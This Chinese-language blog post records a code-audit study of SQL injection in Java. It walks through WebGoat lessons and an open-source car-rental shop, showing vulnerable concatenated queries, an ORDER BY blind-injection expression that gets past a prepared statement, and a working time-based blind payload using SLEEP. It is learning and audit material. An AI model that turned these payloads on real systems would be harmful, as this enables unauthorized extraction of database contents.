JAVA审计学习-Sql注入

JAVA代码审计

最近的项目基本为JAVA和VUE
感到力不从心,需要学的东西太多了
这里记录自己学习JAVA审计的过程

WebGoat

clipboard.png

1
http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /WebGoat/SqlInjection/assignment5b HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 22
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Cookie: JSESSIONID=-8WQMV8ZCYpEP7NXEA6IjGGP642kJUA6f1A9sua9; CNOA_language=cn; CNOA_LOGIN_USERNAME=czo1OiJhZG1pbiI7; googtrans=/auto/zh-CN

login_count=1&userid=1

IDEA 全局搜索ctrl+H快速定位代码
clipboard _1_.png

1
2
3
4
5
6
7
8
9
10
@PostMapping("/SqlInjection/assignment5b")
@Respon seBody
public AttackResult completed(@RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) throws IOException {
return injectableQuery(login_count, userid);
}

protected AttackResult injectableQuery(String login_count, String accountName) {
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
try (Connection connection = dataSource.getConnection()) {
PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);

1
2
@RequestParam String userid # 传递参数
如localhost:8080/?userid=123

预编译

关键词?+

1
2
3
4
login_count的预编译
count = Integer.parseInt(login_count);
login_count通过类型转换为Integer(整数)传给count
经过预编译(参数化请求)处理,出错则抛出异常,不存在SQLi漏洞

clipboard _2_.png

注入

1
accountName可以作为变量进行传递

clipboard _3_.png

预编译绕过

1
http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/9

6.png
简单了解操作SQL的方式

1
2
3
4
5
java.sql.Statement #手动拼接SQL语句
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
Statement statement = connection.createStatement();
statement.execute(queryString);
特性:每执行一次SQL语句,重新编译一次

1
2
3
4
5
java.sql.PreparedStatement #是java.sql.statement的扩展,拥有防SQL注入的特性
String sql ="select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column"
PreparedStatement preparedStatement = connection.prepareStatement(sql)
preparedStatement.executeQuery();
特性:采用预编译的方式,将SQL缓存在数据库中,重复调用,效率较高一点

在某些情况可绕过预编译
根据题意排序

1
2
3
4
5
6
7
8
9
10
GET /WebGoat/SqlInjectionMitigations/servers?column=id HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Cookie: JSESSIONID=rAsAdoUm1T3ZKNEhQUSjyB3ylOY0WLo7GrrtkUpD; CNOA_language=cn; CNOA_LOGIN_USERNAME=czo1OiJhZG1pbiI7

定位到servers.java

1
2
3
4
5
6
7
8
9
10
11
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public List<Server> sort(@RequestParam String column) throws Exception {
List<Server> servers = new ArrayList<>();

try (Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column)) {
ResultSet rs = preparedStatement.executeQuery();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);

可以看见语句中使用了预编译
5.png
出错抛出异常

1
select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by  + 注入点

状态为真则输出

1
2
3
select ip from servers where hostname='webgoat-prd' #获取ip
substring((select ip from servers where hostname='webgoat-prd'),1,1)=1 #判断第一位是否为1
(case when (substring((select ip from servers where hostname='webgoat-prd'),1,1)=1) then hostname else id end) #整体语句

使用burp排序列出ip为104.130.219.202
7.png

注入案例-租车系统

学习前辈们的经验
项目框架结构为
8.png
java是强类型语言,注入只能是String类型
快速定位到ShopService类中的getGoodsPojoListByTypeAndcatAndBranAndPrice方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public List<GoodsPojo> getGoodsPojoListByTypeAndcatAndBranAndPrice(Integer pageNo, Integer pageSize, String cat_ids, String type_ids, String brand_ids, String price, String order) throws SQLException {
if (pageNo < 1) {
pageNo = 1;
}

int offset = (pageNo - 1) * pageSize;
String sql = "select gd.*,gt.goods_type_name,gt.goods_type_id from goods gd,goods_type gt where gd.is_shelves=1";
if (cat_ids != null && !cat_ids.equals("")) {
sql = sql + " and gd.category_id in (" + cat_ids + ") and gd.goods_type=gt.goods_type_id";
}

if (type_ids != null && !type_ids.equals("")) {
sql = sql + " and gd.goods_type in (" + type_ids + ")";
}

if (brand_ids != null && !brand_ids.equals("")) {
sql = sql + " and gd.brand_id in (" + brand_ids + ")";
}

很明显的SQL拼接,拼接在in后
查看哪里在调用
定位到GoodsList.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
String pageSizeTem=CommonUrl.getValue("user_page");
Integer pageSize=Integer.parseInt(pageSizeTem);
String tem_type_id=request.getParameter("type_id");
String tem_brand_id=request.getParameter("brand_id");
String tem_cat_id=request.getParameter("cat_id");
String tem_price=request.getParameter("price");
String order=request.getParameter("order");
String price="x";
if(tem_price!=null && !tem_price.equals("")){
price=tem_price;
}
if(tem_cat_id==null||tem_cat_id.equals("")){ #对传入判断参数进行判断
tem_cat_id="1"; #简单的过滤
}
if(tem_type_id==null||tem_type_id.equals("")){
tem_type_id="";
}else{
String type_id[]=tem_type_id.split(",");
StringUtil su=new StringUtil();
tem_type_id=su.arrayToString(type_id);
}
if(tem_brand_id==null||tem_brand_id.equals("")){
tem_brand_id="";
}else{
String brand_id[]=tem_brand_id.split(",");
StringUtil su=new StringUtil();
tem_brand_id=su.arrayToString(brand_id);
}

goodsList=ss.getGoodsPojoListByTypeAndcatAndBranAndPrice(pageNo, pageSize, tem_cat_id, tem_type_id, tem_brand_id, price, order);
sum=ss.getGoodsPojoListByTypeAndcatAndBranAndPriceCount(tem_cat_id, tem_type_id, tem_brand_id, price);

id==null时,表示id这个引用没有指向任何对象,只是一个引用;
Java中具体的对象才可以调用方法(这里就是equals());
当id==null时调用equals()是会抛出NullPointerException;

跳转到/goods

1
2
3
@WebServlet(displayName="跳转到信访页面",name="GoodsList",urlPatterns="/goods")
public class GoodsList extends HttpServlet {
private static final long serialVersionUID = 1L;

筛选界面
13.png

1
http://127.0.0.1:8080/opencarrun/goods?brand_id=&type_id=&cat_id=17&menuId=7

熟悉的参数brand_id=&type_id=&cat_id=
9.png
通过数据库查询可知完整语句为

1
select gd.*,gc.*,gt.* from goods gd,goods_cat gcat,goods_category gc,goods_type gt where gd.is_shelves=1  and gcat.cat_id in (1) and gcat.cat_id=gc.goods_category_id and gcat.goods_id=gd.goods_id and gd.goods_type=gt.goods_type_id order by gd.goods_id desc limit 0,10

SQL语句记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql> SELECT IF(TRUE,1+1,1+2);
+------------------+
| IF(TRUE,1+1,1+2) |
+------------------+
| 2 |
+------------------+
1 row in set (0.00 sec)
mysql> SELECT IF(FALSE,1+1,1+2);
+-------------------+
| IF(FALSE,1+1,1+2) |
+-------------------+
| 3 |
+-------------------+
1 row in set (0.00 sec)
mysql> select user() or 1=if(TRUE,1,2);
+--------------------------+
| user() or 1=if(TRUE,1,2) |
+--------------------------+
| 1 |
+--------------------------+
1 row in set (0.00 sec)
mysql> select user() or 1=if(FALSE,1,2);
+---------------------------+
| user() or 1=if(FALSE,1,2) |
+---------------------------+
| 0 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select user() or 1=if((ascii(substr(user(),1,1))>97),sleep(2),1);
+-----------------------------------------------------------+
| user() or 1=if((ascii(substr(user(),1))>97),sleep(2),1) |
+-----------------------------------------------------------+
| 0 |
+-----------------------------------------------------------+
1 row in set (2.02 sec)

终极无敌时间盲注

1
if((ascii(substr(user(),1,1))>97),sleep(2),1)

完整语句

1
select gd.*,gc.*,gt.* from goods gd,goods_cat gcat,goods_category gc,goods_type gt where gd.is_shelves=1  and gcat.cat_id in (1) or 1=if(ascii(substr(user(),1,1))>97,SLEEP(0.0001),1)#) and gcat.cat_id=gc.goods_category_id and gcat.goods_id=gd.goods_id and gd.goods_type=gt.goods_type_id order by gd.goods_id desc limit 0,10

PAYLOAD

1
1)+or+1=if(ascii(substr(user(),1,1))%3e97,SLEEP(0.0001),1)%23

10.png
执行状态
11.png
虽然报错,但不影响执行
12.png
这三行都影响

到此结束

参考资料:

如有错误请联系ev@lanbainan.cn

文章目录
  1. 1. JAVA代码审计
    1. 1.1. WebGoat
    2. 1.2. 预编译
    3. 1.3. 注入
    4. 1.4. 预编译绕过
    5. 1.5. 注入案例-租车系统
  2. 2. 到此结束